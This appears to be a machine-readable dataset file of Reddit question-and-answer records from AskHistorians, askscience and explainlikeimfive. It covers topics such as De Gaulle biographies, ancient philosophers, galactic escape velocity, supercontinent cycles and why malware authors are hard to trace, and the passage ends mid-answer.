{"q_id": "13jesr", "title": "Can anyone recommend a good book about Charles De Gaulle ?", "selftext": "Hello , it is my first post in this subreddit but I read it quite often. I would like to find out more about about Charles De Gaulle. I noticed that there are a lot of questions about WW2 but it seems that few of them deal with this man. \nI do not mind reading about his whole life but I am mostly interested about his life during the war.  \nThe recommendation can be in french or in english. Thank you very much ! ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/13jesr/can_anyone_recommend_a_good_book_about_charles_de/", "answers": {"a_id": ["c74hlv4"], "score": [2], "text": ["For an English language volume, I would recommend Charles Williams' *The Last Great Frenchman.* It's a little old (1993), but it's fantastic."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9ci7g4", "title": "How did opposing armies of antiquity with no technology determine the date and location battles? Moving tens of thousands of men is no easy endeavor for either side and would need to be coordinated somehow.", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/9ci7g4/how_did_opposing_armies_of_antiquity_with_no/", "answers": {"a_id": ["e5b9j5z"], "score": [2], "text": ["You might enjoy my earlier answer to this question [here](_URL_0_)!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/5s0qw0/how_were_ancient_openfield_battles_organised/ddbohl1/"]]}
{"q_id": "20l5dh", "title": "why is it so difficult to track the creators of spam, viruses, and malware?", "selftext": "It seems as though our government has the ability to monitor everyone around the world with significant ease. So, why is it so difficult for those who create and deploy malware, spam, and viruses to be tracked down? Isn't there something in the \"meta-data\" to indicate the origin of these items?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/20l5dh/eli5_why_is_it_so_difficult_to_track_the_creators/", "answers": {"a_id": ["cg4cc13"], "score": [2], "text": ["On a macroscopic scale, there are three reasons:\n\n1. The internet is huge and complicated.  Collecting data is hard.\n2. There are things people can do to hide their identity and location.\n3. A lot of malware and spam resides in a gray area.\n\nRegarding point 2, spammers and malware creators are increasingly resorting to cryptographic countermeasures to hide their identity.  They may encrypt the contents of their botnet traffic, for instance, or use a service like [Tor](_URL_0_) to stay anonymous.\n\nAs for point 3, here are a few examples to give you an appreciation of how vague the terms \"malware\", \"virus\" and \"spam\" actually are.  Let's first consider spam:\n\nThe issue with spam is that many sites actually benefit from small amounts of spam.  Let's say you're running a forum where people come and ask (among other things) for advice on which online dating services are worth subscribing to.  If I'm a spammer, I'm going to generate some messages saying that ServiceX is the best and that they should sign up.  I'll also include a link which earns me some money if people sign up.  As far as you, the site administrator, is concerned, this is win-win.  You have users coming to your site and finding what they're looking for, which means they're likely to return or tell other people about your site.  The problem with spam occurs when:\n\n1. it's too abundant and drowns out actual user interactions\n2. it's misleading of fraudulant\n3. one of your competitors is making money at your expense\n\nWith malware, consider the toolbars that get offered with nearly every installer on the net.  You probably don't want them, they're probably not doing any real, tangible harm, **but**, they're annoying and the way the creators get you to install them is disingenuous at best.  Legal? Yes.  Ethical?  Not really.  The problem there is that you have no legal recourse, and even if you did, spammers/malware-writers would just operate from a jurisdiction that doesn't give a hoot."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.torproject.org/"]]}
{"q_id": "1qap6o", "title": "Do magnetic field break down over time?", "selftext": "If I place two magnets in a cylinder so that they are repelling each other and gravity in pulling down on the top one. Will the magnetic field eventually fail? And if so why? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1qap6o/do_magnetic_field_break_down_over_time/", "answers": {"a_id": ["cdaxi8b", "cday51j"], "score": [3, 15], "text": ["It doesn't exactly fail; there will always be forces on it. Forces act both ways in the Lorentz Force equation. When the force of the magnets is less than that of Gravity, the floating magnet will fall. \n\nI don't quite understand the question... \n\nIf you are asking when do magnets lose magnetism: Magnetism is the orientation of Magnetic Flux of very tiny parts.  Assuming this is Ferromagnetic material (strongest magnet) and **there is no change to the system**, it would take a very very very long time. Like millions of years. ", "Magnets can lose their magnetism. It's not that it \"wears out\", but having a magnetic field in the opposite direction (such as the repelling magnet) can alter the magnetic domains so they're less magnetic\u2014 it's exactly like being able to make a piece of iron into a (weak) permanent magnet by putting it with another (strong) magnet for a while, except the external magnetic field is going in the opposite direction.\n\nThis property of magnets is called [coercivity](_URL_0_), it's basically a measure of how strong of a magnetic field it takes to change the magnetization of the material. Permanent magnets are made of materials which have high coercivity, meaning it's hard to change their magnetization. Magnets with lower coercivity can even self-demagnetize over time.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://hyperphysics.phy-astr.gsu.edu/hbase/solids/magperm.html"]]}
{"q_id": "1u6eos", "title": "suggestion: along with labeling each post as \"explained\", can there be an additional tag for the comment(s) that explained the question?", "selftext": "I like the explanation and more often than not, the answer is usually the comment at the top with the most upvotes, but a few times similar to the recent \"eating large quantities of Fast food vs little of healthy\", the explained was ambiguous and I would like to know what the OP thought helped explained his question. Thank you and Happy New year! \n\nThe post that broke the camel's back: _URL_0_", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1u6eos/suggestion_along_with_labeling_each_post_as/", "answers": {"a_id": ["ceexykg", "cef3imm"], "score": [2, 2], "text": ["Is it possible to tag comments? I think I read one of the moderators say it's not in a past ELI5 mod post. ", "I don't see the point of that. The \"explained\" label only means that the OP feels that his question has been answered. That's OP's subjective view. There have been cases where I've read the comment section in an explained post and I couldn't find anything that actually seemed like a satisfying explanation to me. If you can't find what's the comment that explained it for OP by yourself, having OP point it out to you wouldn't really help. "]}, "title_urls": [], "selftext_urls": ["www.reddit.com/r/explainlikeimfive/comments/1u58hj/eli5_why_can_i_eat_large_quantities_of_fast_food/"], "answers_urls": [[], []]}
{"q_id": "5xdagi", "title": "why haven't we started domesticating tiny bears?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5xdagi/eli5why_havent_we_started_domesticating_tiny_bears/", "answers": {"a_id": ["deh68ww", "deh6iw8", "deh7hvh", "deh8w8u", "dehev0u", "dehgkku"], "score": [15, 25, 5, 2, 5, 2], "text": ["i dunno.  why haven't you started domesticating tiny bears that eat 100 pounds of meat a day?  ", "What practical purpose would domesticated bears serve?\n\nAll of our domesticated animals came from a practical need. Dogs? Descended from wolves that we captured as pups and raised. Dogs were (and still are) a pretty effective security system.\n\nCats were domesticated for pest control. A house with a cat was healthier than a house without a cat, because it would kill off some of the rats and mice that spread disease, and scared off the rest.\n\nSo, what benefit would a bear have in the house that would outweigh the costs and risks of keeping it?", "You could get [a dog that looks like a bear,](_URL_0_) and he won't try to tear your face off.", "for the same reason you aren't allowed to keep a Wolf or Coyote as a dog, they are wild animals, not domesticated pets. I suppose if you wanted to start selectively breeding bears to get smaller and smaller until they are pet size, and domesticate them over generations and generations, you could try?", "Among the other things listed, animals that are good for domestication are generally social animals. Wolves are very social, so it was easy to teach them how to be around humans, relatively. Dogs aren't very bright animals in general, but they're amazing in terms of social intelligence. \n\nBears aren't social. They mostly stick to themselves outside of mothers with children. That means they have no instincts to work together or to spend time with others.", "I'm a student studying domestication in corn. Not a bear, I know, but the general process is similar. Domestication is a long process (most domestication events were about 10000 years ago). It takes a long time to domesticate an organism using selective breeding. This is often done through inbreeding which can destabilize the genome causing \"diversity\" in the inbred lines. Genetic modification could be used in theory to domesticate an organism but we don't know enough about the process to domesticate an animal via genetic engineering. We're a long way away from miniature wild animals."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://cdn.earthporm.com/wp-content/uploads/2015/02/dog-look-like-teddy-bear-1__605.jpg"], [], [], []]}
{"q_id": "3cyd42", "title": "Using balloons to lift rocket before ignition?", "selftext": "I am writing a script, and I had an idea... I want to know if its completely stupid or not, and if not, why aren't we doing it. We can send some not so heavy stuff almost into space using balloons. Where air friction is virtually none existent. Would using bigger balloons to lift up spaceships really high, and start the engine from there would reduce the energy cost necessary to put object into orbit? I thought about the engine burning the hydrogen but helium is not flammable (or is it the other way around). Buy anyway. Is it a stupid idea?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/3cyd42/using_balloons_to_lift_rocket_before_ignition/", "answers": {"a_id": ["ct03xou", "ct03ynu", "ct06lka"], "score": [42, 6, 6], "text": ["The main issue with getting into space is not just getting high enough in the atmosphere, but getting up to a fast enough speed going sideways to reach orbit. For any rocket that needs to reach orbit, it will need to carry enough fuel to get it up to speed such that the balloons required to lift it would be unfeasible large.  Considering that the rockets already have to carry enough fuel to get up to speed, it's grossly easier to just increase the size of the fuel tank slightly, than to put an entire other system in place to get it up to the required altitude.", "We are doing it, but only for small sounding rockets. \"A serious disadvantage is that balloons cannot be steered and consequently neither the direction the launched rocket moves in nor the region where it will fall is easily adjustable. Therefore, a large area for the fall of the rocket is required for safety reasons.\"\n_URL_0_", "It is an interesting idea, but not a very practical one. Most of the energy in rocket launches goes into achieving orbital velocity.\n\nThe key to staying in space is to move sideways so fast that as you fall, you miss the earth. Imagine throwing a ball horizontally. If  there was no gravity, it would keep going straight, but with gravity, its trajectory bends towards the earth. The faster you throw it, the less extreme the curvature of the trajectory. If you throw it fast enough, the curvature of the earth (and the atmosphere) is matched or exceeded by the trajectory of the object. At that speed, the object will stay in orbit until something slows it down.\n\nBalloons are good for getting things up high, but they don't really get things going very _URL_0_ they won't help with the hard part."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Rockoon"], ["quickly.So"]]}
{"q_id": "2yr3sr", "title": "Were Zoroaster, Confucius, Lao Tze, the Buddha and/or Socrates aware of each other? Any known figure who was aware of more than one?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2yr3sr/were_zoroaster_confucius_lao_tze_the_buddha_andor/", "answers": {"a_id": ["cpcadat", "cpcasnw", "cpcastl", "cpcgrh6", "cpcgul1", "cpcqp36"], "score": [240, 32, 72, 5, 24, 3], "text": ["There are some stories that Lao Tze and Confucius met each other.\n\nThere is disagreement about which millenium Zoroaster lived in, and which centure Lao Tze and the Buddha lived in. Socrates was born roughly ten years after Confucius died. \n\nThere's another question on a similar subject here: _URL_0_\nThat question appears to be based on a misunderstanding of how years BC work.", "Regarding Confucius and Lao Tzu, D.C. Lau, in the introduction to his translation of the Tao Te Ching, states that \"[t]he traditional view is that the *Lao tzu* [Tao Te Ching] was written by a man named Lao Tzu who was an older contemporary of Confucius (551-479 BC).  The *locus classicus* of this tradition is the biography of Lao Tzu in the *Shih chi* (*Records of the Historian*) the earliest general history of China...\"\n\nLao contends, however, that this tradition seems to have spread in the early to mid 3rd century BCE, and that \"[i]n all probability, Lao Tzu was not a historical figure at all.\"\n\nMy understanding is that most scholars, who view Lao Tzu through a hermeneutics of suspicion, would argue that he and Confucius likely were not aware of each other, as it is unlikely that Lao Tzu is a historical figure.  There are many scholars, however, who would argue the other side: that we have no solid basis on which to dismiss the tradition, and therefore the two philosophers were aware of each other.\n\nSource:  Lao Tzu. *Tao Te Ching*. Translated by D.C. Lau.  New York: Penguin, 1963.", "It would be nearly impossible for either of the Chinese figures to be aware of any of the others. It is possible that Socrates had heard of Zoroaster by way of Herodotus, but as far as I know there is no conclusive evidence for that, and obviously it wouldn't go the other way around due to the age difference. The Buddha would almost certainly not have heard of any of them due to the his age (most historians and religious scholars place him somewhere between the sixth to mid fifth centuries, though some think it to be earlier)  and lifestyle choice, though again I cannot say 100%.\n\nWhat I can point you to, even though it is not quite what you asked, is a connection between the Greek philosopher Epicurus and Buddhism. Epicurus was a major Greek philosopher, founder of one of the four schools of Athens (Along with Plato's Academy, Aristotle's Lyceum and whatever the Stoic's school was called). He dates about a century after Socrates, which is helpful in establishing a connection due to the time it took for the Buddha's teachings to transform from a small and localized Sangha to a large cultural force likely to be observed by an outsider. While again there is no way of knowing for sure, many historians and philosophers have noted a connection between the ideas of the two as well as a potential path the ideas may have taken. Daniel Klein, in his foreword to \"The Art of Happiness\", says:\n\n >  Epiurus\u2019s notion of happiness has a decidedly Buddhist quality. Happiness is tranquility, and tranquility comes principally from putting aside worldly \u201chankerings\u201d\u2014ambitions for power, status, involvement in government, the pursuit of voluptuous sensory experiences, and the accumulation of material goods. Two of Epicurus\u2019s most quoted maxims distill this idea: \u201cNot what we have, but what we enjoy, constitutes our abundance\u201d and, in its more admonitory form, \u201cNothing is enough for the man to whom enough is too little.\u201d  >  Remarkably, Epicurus\u2019s ideas about ataraxia\u2014the freedom from mental anguish and disturbance that is required for true happiness\u2014were more directly influenced by Buddhist thought than a twenty-first-century reader might imagine for a Greek philosopher of that epoch. Two of Epicurus\u2019s early influences, Democritus and Pyrrho, had actually journeyed all the way to what is now India, where they had encountered Buddhism in the schools of the gymnosophists (naked teachers).\n\n[This link](_URL_1_) explores Epicureanism from a Buddhist perspective, which can be helpful in seeing the connection between the two.\n\nI have one other interesting connection regarding the Buddha you may enjoy. The Pali canon recounts the story of a King, possibly [Bimbisara](_URL_0_), who goes to five other spiritual teachers for advice concerning some religious problems he has. After not finding any of their answers acceptable, he goes to the Buddha, who naturally sets the King right with his characteristic grace. As it turns out, four of the five teachers are relatively unknown, but one of them was Mahavira, the founder of Jainism.", "Zoroaster appears to have been more of a religious title than an actual specific person. There was most likely multiple Zoroasters over time. The reason that this is considered is there are multiple people who have reportedly met with Zoroaster that lived hundreds of years apart.\n\nSource The Doctrines of Hermes Trismegistus- Manly P Hall ISBN: 0-89314-045-7", "I can address the question of whether or not Confucius and Laozi were aware of each other, though I'm afraid that I will have to answer with a bit of ambiguity. Unfortunately, we don't possess enough information, especially about the character Laozi, to be able to come to any definitive conclusions, but I would be willing to believe that Confucius, and a person named Lao Dan, met at some point.\n\nIn Sima Qian's *Records of the Grand Historian*, he starts his biography of Laozi as follows:\n >  \n >  Laozi was a person from the Li village in the Quren Hamlet, in the state of Chu. His family name was Li, his name was Er, and his style name was Dan. He was the historian of the Zhou archives. \n >  \n >  \u2f7c\u5b50\u8005,\u695a\u82e6\u7e23\u53b2\u9109\u66f2\u4ec1\u88cf\u4eba\u4e5f,\u59d3\u674e\u6c0f,\u540d\u8033,\u5b57\u8043,\u5468\u5b88\u85cf\u5ba4\u4e4b\u53f2\u4e5f\u3002\n\nThis is actually the first time that the name Li Er is associated with the \"Laozi\" personage, but the name Lao Dan has a longer tradition. Lao Dan appears in *Zhuangzi* (3rd century BCE), *L\u00fcshi Chunqiu* (ca. 239 BCE), and there are passages in the *Record of Rites* (*Li Ji*) that mention a Lao Dan as well. The name Laozi also appears in *Xunzi* (ca. 230 BCE).\n\nIn *Zhuangzi*, the Lao Dan character is perhaps best understood as one created or modified by the writers of the text - a didactic exemplar espousing the teachings of Zhuangzi. There's really only one chapter (\"All Under Heaven,\" \u5929\u4e0b) in which the words Lao Dan speaks actually seem like the teachings found in the *Daodejing*, and that chapter is generally understood to be a rather late edition to *Zhuangzi*, coming from some time near the end of the Warring States period, if not later.\n\nLeaving aside that chapter, we can see in the Outer Chapters of *Zhuangzi* that Lao Dan was a man who worked as an archivist for the Zheng Repository of Zhou (\u5468\u4e4b\u5fb5\u85cf\u53f2), who gave up his post and went to live at home. Apparently, he met with Confucius and Zigong (chapter 14). What makes this meeting stand out as plausible is the amount of information offered about the Lao Dan character - he's not just a talking head - we know his profession, the place he worked at, and even a place name, where he apparently lived, Pei (\u6c9b). A.C. Graham has noted that this makes the meeting between Confucius and Lao Dan more than simply a \"prop\" - it was an \"event.\"\n\nFurther evidence for this \"event\" comes from the fact that Confucius and Lao Dan do not only meet up in Daoist texts, but also in Confucian texts. In the *Li ji* chapter, \"The Questions of Zengzi\" (\u66fe\u2f26\u554f), Confucius speaks about accounts of the rites that he heard from Lao Dan, and how they had travelled together on at least one occasion. In these encounters, however, Lao Dan comes across as an expert on the rites, rather than as a Daoist master. No matter how the meeting between Lao Dan and Confucius is portrayed, it is significant that it appears in both the Daoist and Confucian traditions.\n\nFurther links between Confucius and Lao Dan can be found in the *L\u00fcshi Chunqiu*, which notes that:\n\n >  \u201cConfucius studied from Lao Dan, Meng Sukui, and Jingshu\u201d (\u5b54\u5b50\u5b78\u65bc\u8001\u8043,\u76c2\u8607\u5914,\u9756\u53d4).\n\nIt's worth noting, though, that the *L\u00fcshi Chunqiu* does not refer to Lao Dan as \"Laozi.\" \"Laozi\" does appear in *Xunzi*, however, among a list of teachers from the Warring States period (in the *Tianlun* \u5929\u8ad6 chapter).\n\nSo, at this point, it seems very likely to me that a person named Lao Dan met with Confucius. However, how directly can we link this \u201cLao Dan\u201d to \u201cLaozi,\u201d as the author of the *Daodejing*? As others have pointed out in this thread, scholars like William Boltz and D.C. Lau have made compelling cases for the fact that \u201cLaozi\u201d was not a historical figure at all. That\u2019s true, in the sense that there was probably no single person responsible for writing and compiling the *Daodejing,* especially since Sima Qian\u2019s *Records of the Grand Historian* provides us with the earliest extant reference to this Laozi character even writing \u201ca book in two parts, in which he spoke of the meaning of *dao* and *de* in more than 5,000 characters (\u2f7c\u5b50\u4e43\u8457\u66f8\u4e0a\u4e0b\u7bc7,\u8a00\u9053\u5fb7\u4e4b\u610f\u4e94\u5343\u9980\u8a00).\u201d This suggests, to me, that at some point late in the Warring States period, much later than the time of Zhuangzi, and possibly as late as the final decades of the period, the name \u201cLaozi\u201d became attached to the *Daodejing*.\n\nFrom all of that, I would think it safe to say that Confucius very likely did meet a person named Lao Dan, but that this meeting occurred long before the name Lao Dan started to be viewed as \u201cLaozi,\u201d the reputed author of the *Daodejing*. I wouldn\u2019t say that the author of the *Daodejing* ever met Confucius, because I don\u2019t believe that the evidence suggests that the *Daodejing* had a single author, nor do I think that the extant Warring States period texts can definitively link the character of Lao Dan to the thought of the *Daodejing* until close to the end of the period.\n\nBut this is where the ambiguity returns. Given this information, would you still say that Confucius and \u201cLaozi\u201d met? I\u2019d say no, but the link between \u201cLaozi\u201d and Lao Dan does make the question a little less straightforward. If nothing else, it makes the question much more interesting.\n\nEdit: Fixed a typo.", "I can't speak about Zoroaster or Socrates, but there's no hard evidence of Confucius, Lao Tze or the Buddha having any awareness of one another. I'm sitting here with several textbooks on these subjects on my desk. \n\nWhat we know about Lao Tze's biography largely comes from Ssu-ma Ch'ien's 2nd century biography in the Shih Chi. This document claims that Lao Tzu was \"a senior contemporary of Confucius who lived in the 6th century B.C.E.\" This assertion, by Liu Xiaogan in A. Sharma's *Our Religions* (140), is problematic for a number of reasons (foremost among them is that several scholars do not believe Lao Tzu was a single historical person). \n\nLao Tzu was supposedly from Ch'u, where Honan/Henan is today. We know quite a bit more about Confucius' biography, but, cutting out the details, he was probably born in 551 BCE in what's now Shandong. That's about a 430km journey. If, and I must stress if, both figures were historical, *and* the dates of their lives are accurate, then it is possible they were aware of one another and could easily have met given the short distance between them. The stories, however, of their meeting are so ridiculously skewed in favor of Taoism's superiority that we cannot take them today as historical. \n\nHere's a shorter version of a translation from the _Records of the Historian_ (same Shih Chi mentioned above) cited in *Chinese Religions* by Christian Jochim (Prentice Hall, 1986: 127): \n\n > \"Lao Tzu was a native of the Ch'u Jen Hamlet.... He was the historian in charge of the archives in Chou. When Confucius went to Chou to ask to be instructed in the rites by him, Lao Tzu said, \"What are you talking about concerns merely the words left by people who have rotted along with their bones... Rid yourself of your arrogance and your lustfulness, your ingratiating manners, and your excessive ambition. These are all detrimental to your person. This is all I have to say to you.\" \n\n > \"On leaving, Confucius told his disciples, \"I know a bird can fly, a fish can swim, and an animal can run. For that which runs a net can be made; for that which swims a line can be made; for that which flies a corded arrow can be made. But the dragon's ascent into heaven on the wind and on the clouds is something which is beyond my knowledge. Today I have seen Lao Tzu, who is perhaps like a dragon.\"\n\nAs far as I know there is no such corresponding source on Confucius' side for this encounter. It summarizes pretty well, I think, the kind of battle that was going on between Confucian and Taoist followers for influence at that time.\n\nEdit: u/fraudianSlip has the possible Confucian side of this if we accept that Lao Dan was or later became known as Lao Tzu. Like him, I remain somewhat skeptical. \n\nThere is no evidence at all that either Confucius or Lao Tzu were aware of Gautama Buddha. Buddhism didn't even spread to China under roughly two centuries after all these figures lived. The earliest dating I've seen for Buddhism in China is the 1st century BCE, which is at minimum 300 years after all of these figures had lived. The trade routes between inner India and inner China did grow to be quiet extensive, but that happened later, well after Confucian and Taoist followers had established themselves in China. Since I have the sources at hand, I'm happy to add more for folks if there are questions/clarifications."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/AskHistorians/comments/1myle2/confucius_died_when_socrates_was_10_how_aware/"], [], ["http://en.m.wikipedia.org/wiki/Bimbisara", "http://thebuddhistblog.blogspot.com/2008/11/epicurus-and-buddhism.html"], [], [], []]}
{"q_id": "177big", "title": "What is the difference between activity and concentration in chemistry?", "selftext": "I commonly see these two terms used and in geology activity is used in a lot of calculations involving isotopes. ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/177big/what_is_the_difference_between_activity_and/", "answers": {"a_id": ["c82va7p"], "score": [6], "text": ["Activity in chemistry is a thermodynamic variable which is a measure of \"effective\" concentration. This can be equal to the concentration or it can deviate from it. This deviation is described by an activity coefficient.\n\nThis comes to be important when you start mixing things. In an ideal mixture the activity is equal to the concentration. However not all mixtures are ideal (in fact in geology I'm struggling to think of a nice ideal mixing example). In this case you need to figure out the activity from the concentrations and other thermodynamic variables.\n\nIf you don't mind my asking are you referring to any specific calculation? (I'm just curious)\n\nI recommend the following two links:  \n_URL_1_  \n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Ideal_mixture", "http://en.wikipedia.org/wiki/Thermodynamic_activity"]]}
{"q_id": "3heq7h", "title": "How Did the Aztecs Cook the Human Hearts After a Sacrifice?", "selftext": "Were there any recipes from their culture that survived?\n", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3heq7h/how_did_the_aztecs_cook_the_human_hearts_after_a/", "answers": {"a_id": ["cu9mgwt"], "score": [2], "text": ["Hearts put in the sacrificial fire were not intended to be eaten.   "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "19jwfh", "title": "What's the escape velocity to leave our galaxy from Earth? Is it feasible today? How long would it take to get out into the region between galaxies?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/19jwfh/whats_the_escape_velocity_to_leave_our_galaxy/", "answers": {"a_id": ["c8opz4x", "c8oq5yz"], "score": [2, 25], "text": ["[According to Wikipedia](_URL_0_), it's about 525 km/s. The fastest ever man-made object was [Helios 2](_URL_1_) at about 70 km/s. So it's significantly faster than anything we've made.\n\nIt would take a *very* long time if you were to simply fire an object at 525 km/s towards Andromeda, since it would be continually slowing down until it reaches about the midpoint. Even if it *were* to travel at 525 km/s, it would take upwards of 700 million years to get to the midpoint.\n", "Once you get sufficiently far from the Sun that you can ignore its gravity, the galactic escape velocity from our region of the Milky Way is about 544 km/s with a reasonable error range on either side of about 10%. See the paper in [this PDF.](_URL_2_) This is very roughly 10x the speed of the probes we have leaving the Solar System, so its conceivable for us to build a craft this fast (though the expense goes up **dramatically** with the desired speed).\n\nThis compares to 11.2 km/s for the [Earth's escape velocity](_URL_0_), and 42.1 km/s to escape the Sun at the distance of the Earth (not including Earth's escape velocity).\n\nThe definition of escape velocity is that it is the speed necessary to get to infinite range from the parent body with a final speed of zero once you get there. So, as you get farther away from your original location, you slow down. The idea is that you barely have enough speed to get where you are going, so going a little faster than this can dramatically reduce the time needed.\n\nAnother item to be aware of is that the gravitational profiles of galaxies is still an active field of study. Most people have heard of dark matter, though fewer in the general public know of the work put into the concepts CDM and MOND.\n\nFor our purposes, I'll make the incredibly simple assumption that the craft we send will have an average speed of 544 km/s for its whole trip and that it will travel in a straight line with neither its launch location nor its destination moving in the meantime. A light year is the distance light travels in a year, about 9.46x10^12 km. The distance to the Large Magellanic Cloud, probably the most famous dwarf galaxy near the Milky Way, is 49.7 Kpc according to the PDF of [this paper,](_URL_3_) where a Kpc is equal to 3,262 light years. So, using these oversimplifications, the time to get to the LMC would be 9.46x10^12 x 3.262x10^3 x 4.97x10^1 km / 5.44x10^2 km/s = 2.82x10^15 seconds. There are 3.16x10^7 seconds in a year, so this trip would take 8.92x10^7 years, or 89 million years.\n\nTake this as an extremely rough estimate as not only will the craft slow down in flight, but the Sun and LMC are both moving, so we'd have to calculate the trajectory between them in detail. This would change the answer substantially. Also be aware that the distance to the Andromeda Galaxy (our closest large neighbor and eventual [collision partner](_URL_1_) )is about 2.5x10^6 light years away compared to the 1.62x10^5 LY to the LMC."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Escape_velocity#List_of_escape_velocities", "http://en.wikipedia.org/wiki/Helios_2_%28NASA%29"], ["http://en.wikipedia.org/wiki/Escape_velocity", "http://www.space.com/15590-andromeda-galaxy-m31.html", "http://arxiv.org/pdf/astro-ph/0611671v2.pdf", "http://arxiv.org/pdf/1112.3171v1.pdf"]]}
{"q_id": "97f7y2", "title": "When Pangea divided, the seperate land masses gradually grew further apart. Does this mean that one day, they will again reunite on the opposite sides? Hypothetically, how long would that process take?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/97f7y2/when_pangea_divided_the_seperate_land_masses/", "answers": {"a_id": ["e480z4o", "e481joz", "e481s0b", "e483vuh", "e483wel", "e483xxq", "e489ytu", "e48chvn", "e48ilsc", "e498zq1", "e49ix14"], "score": [35, 352, 4680, 70, 13, 65, 4, 8, 3, 9, 5], "text": ["Pretty unlikely we will ever have another Pangea on earth, certainly some continents will collide within the next 250-300 million years.  Canada, USA, Russia and China will eventually be one land mass. _URL_0_", "A very general answer to your two questions - absolutely not a guarantee but yes it is possible, and a LONG time. The land masses we know today have come together and separated more than once over the last 4.5 billion years, and could come together again as tectonic plates continue to interact with one another - pulling apart, pushing together, and/or sliding past one another.  However, there's no guarantee they'll simply meet up on the opposite sides, as there are complex and varying forces acting on the tectonic plates, so we can't, or shouldn't, assume their trajectories after pulling apart will be linear over the following hundreds of millions of years it would take for them to move towards one another once again. And just a tad more about how long it could take - the tectonic plates containing the US and Europe are currently moving away from one another at a rate of approximately 1 inch or 2.5 cm per year, roughly at the pace at which our fingernails grow. While some plates may move more quickly, others can move even more slowly, so again, the theoretical timeline for another supercontinent is a long ass time.", "Geologist graduate here: \nBefore Pangea, we had a supercontinent called Rodinia, and another prior to it (evidence gets weaker over time due to crust destruction). Depending on the direction and movement of plates, some continents will collide again, and some will tear apart (east Africa).\nThe process of moving the plates relies on how much the mid ocean ridges are pushing out new oceanic crust, how quickly the old oceanic crust is getting sucked under bouyant continental crust, and movements in the asthenosphere. \nTo be honest, i have no idea how long away the next supercontinent is. Pangea was approx 200mya, Rodinia approx 750mya. Rodinia also hung around for a longer period of time than Pangea.\nI hope I helped answer some of your questions. \n\nFun fact: they believe the initial move to break up Pangea was caused by insulation under the land mass, which heated up, allowing magma to melt above crust and swell and push the land masses apart. ", "To my knowledge, there are some reasonable answers in this thread already. It could happen but it would take at least a few 100 million years. In geology landmasses drifting apart and then rejoining again are part of a process called the Wilson Cycle (not to confuse with the Supercontinent Cycle). Therefore, it\u2019s actually more likely that the continents will rejoin again on \u2018this side\u2019 of the earth than on the opposite side. To visualize this I found a great video for you on YT:  _URL_0_\nThe video is made by C.R. Scotese who is a leader in this field of research.\n", "Additional thought: when such a land mass separates, it seems like there must be a period of time during which there is a river much longer than the current rivers, and then a very long tidewater bay, before the continents are actually separated.", "This cycle between a sole landmass (resulting from a great orogenic phase, like the hercynian orogenesis for example) and a phase were continental drift is dominant is called a \"Wilson Cycle\" and is known to take roughly 700Ma. Sometimes more, sometimes less.\n", "Answering OP question: Yes and no. The dynamic of the worlds surface can best be exemplified by this time lapse video of a volcanic crater. The crust at the top of the lake is like the crust of the earth. \n\nContinental plates with boundaries  shift, jostle and push the plates around as heat wells up. Complete with 'rings' of fire, subduction and 'hot spots' within plate boundaries.\n\n_URL_0_", "Because the plates are complex systems, it's not possible to predict very far into the future. We know that the mid Atlantic rift/spreading zone is pushing NorthAm to the west where it's overriding the Pacific plate in many areas. \n\nbut very much prediction that far into the future is impossible, because the interacting factors are too great.\n\nThis is the problem with complex systems. It's very hard to predict outcomes with them, which is why weather forecasting is likely forever limited, because extremely tiny effects can greatly grow into unexpected, emergent phenomena. such as tropical storms, and cyclones. Volcanic eruptions and major quakes along faults have the same kind of problems with predictions.", "Very late to the game here but a [paper](_URL_0_) was just published which answers this question exactly. \n\nEssentially yes, a new supercontinent will form in around 250 million years, the authors aren't sure exactly how it will happen but have four scenarios. The paper isn't open access but I think sci hub is still up, my uni allowed me access.", "In my Geology class, I was told that Pangea divided ~250 million years ago and that the cycle of *divide-reunite* takes ~500 million years. This means we are at the half way mark between land masses.\n\nAnother thought is that Pangea definitely wasn\u2019t the first giant land mass, it\u2019s just the most recent one and the only one we can learn anything from.", "This is actually a question that earth scientists are still debating on, but a 2012 paper in Nature suggests that our next continent (known as \"Amasia\" in the literature) will be formed where the Arctic Ocean currently sits!\n\nUp until recently, there used to be a two hypotheses for this: one called introversion and one called extroversion. In the introversion model (first described in 1988), plates were believed to \"Wilson cycles\" in which plates cyclically open and close. This model predicted that the plates would close right back up to where they were before, in Pangea's previous place. In the extroversion model, continents are predicted to re-form on the opposite side of the earth. So, Amasia would take the place of today's Pacific Ocean!\n\nHowever, in their 2012 article, Mitchell, Kilian, and Evans presented a model known as the orthoversion model. The TL;DR for their methodology: there is a calculation known as True Polar Wander (TPW) which you can use to track a continent's location over time. The authors pinpointed both Rodinia and Pangea's locations, and found that their centers were about 90 degrees apart. As such, they argue that after the breakup of a supercontinent, the next supercontinent forms in its 